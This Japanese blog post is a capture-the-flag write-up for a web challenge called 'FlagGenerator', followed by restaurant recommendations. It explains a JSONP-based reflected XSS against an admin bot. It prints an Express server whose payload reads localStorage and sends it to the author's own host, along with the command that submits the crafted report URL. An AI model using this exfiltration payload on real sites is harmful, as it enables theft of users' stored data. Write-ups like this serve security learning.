ヒデホヒのおもちゃばこ

オリスロとかつくったものとかてきとーに

OJICON 2019 Online CTF write-up (FlagGenerator)

まえがき

この記事は、SLP KBIT Advent Calendar 2019 の4日目の記事です。

adventar.org

また、この記事はフィクションです。実在の人物や団体などとは関係ありません。

はじめに

OJICON 2019 Online CTF お疲れさまでした。
私のチーム「鮭の皮だけ食べてい隊」は4人チームで、
結果は18446744073709551615Ptで32767位でした。(去年より人数増えたのかな?)
去年は16384位なので下がってますね(爆)
f:id:pekko1215:20191204153251p:plain f:id:pekko1215:20191204153313p:plain 難問だった「Chicken Crisp Shop」や「I use heavy artillery」は他の人がWriteUPをあげているので、
私は比較的シンプルな問題であった「FlagGenerator」の解説をします。

FlagGenerator (Web 46744000000000000Pt)

問題

flaggenerator.m2company.work f:id:pekko1215:20191204133021p:plain

出題者は、誰にも予想されないCTFのFLAGを生成するため、自作のFlag生成器を作りました。
せっかくなのでCTFを作りたいみんなのために公開します。
不具合があった場合はすぐに確認します。

この問題では、FLAG生成に使用したキーが答えになります。

WriteUp

まず、問題文とアプリケーションからわかることを簡単にまとめます。 - Webアプリケーション - 任意のキーを入力すると、謎の原理でFlagが生成される。 - 管理者に報告する機能がついており、閲覧される。 - キーは管理者のlocalStorageに保管される。

ココから、全体的な攻撃の方針を決めることができます。

目標

管理者のlocalStorageを取得する。

手法

管理者が閲覧することを利用し、反射型XSS攻撃を行う。 今回、盗むデータがlocalStorageなので、発生させるサイトは何でもいい、というわけには行きません。
localStorageは同一ドメイン内のみでアクセス可能であるためです。
そこで、アプリケーション内でXSS可能な場所を探します。
といっても、今回はページが2つしか存在しないのですぐに見つかります。

view.htmlはURLクエリパラメータを参照し、Ajax通信を行っています。

// view.htmlの一部
(async() => {
    let url = decodeURIComponent(location.search.split('?key=')[1]);
    let {
        key,
        flag
    } = await $.getJSON(url);
    $('#key').text(key);
    $('#flag').val(flag);
})();

$.getJSONにはJSONPに対応するために「callback=?」のようなパラメータを付与したURLを渡すと、
scriptタグとして実行してくれる機能があります。

これで材料は揃いました。次のようなURLを/reportに送ることで、任意のスクリプトを実行させることができます。

[]内はURIEncodeしてください
/api/report?url=[http://flaggenerator.m2company.work/view.html?key=[任意のスクリプトへのURL?callback=?]]

図解すると次のようになります。 f:id:pekko1215:20191204154819p:plain 管理人がこのオムライスを食べるわけです。

任意のスクリプトはCORS可能で有ることが要求されます。私は以下のコードを用意しました。

const Express = require('express');
const app = Express();
const Port = ひみつ;

app.get('/code', (req, res, next) => {
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
    res.send(`
        (async()=>{
            let data = localStorage.getItem('flags');
            await fetch('http://ないしょ/log?data='+encodeURIComponent(data));
        })();
    `)
})

app.get('/log', (req, res, next) => {
    console.log(req.query);
})

app.listen(Port);

サーバを起動し、こんな感じにDevToolConsoleで実行してあげれば、localStorageを獲得できます。

await fetch('/api/report?url='+encodeURIComponent('http://flaggenerator.m2company.work/view.html?key=' + encodeURIComponent('http://ひみつ/code?callback=?')))

f:id:pekko1215:20191204142724p:plain

今回は、キーが答えなので「0JiC0N_FLAG」で正答でした。

あとがき

あれ?こんな問題SECCONでもあったよね?たしかSP...
去年に比べてWeb系問題が増えた印象(というかpwnが減った?去年6問 今年4問)

記事を書いていたらオムライスが食べたくなったので、今度瓦町の「おなじみ」という洋食屋さんに行ってみようと思います。
洋食 おなじみ - 瓦町/洋食 [食べログ]

こないだ行ってきたんですが、オムライスは火金のみの提供で、ありつけませんでした。(下調べ大事ヨ)
しかしながら、タイムランチのミンチカツも美味しかったです。 ソースのコクが最高に好みでした。 瓦町周辺は昼食に適したお店がたくさんあっていいですね。
筆者のおすすめは、「支那そば 讃岐ロック」と「麺処 綿谷」です。
一度訪れてみてはいかがでしょうか。

f:id:pekko1215:20191204155355p:plain 美味しかったミンチカツ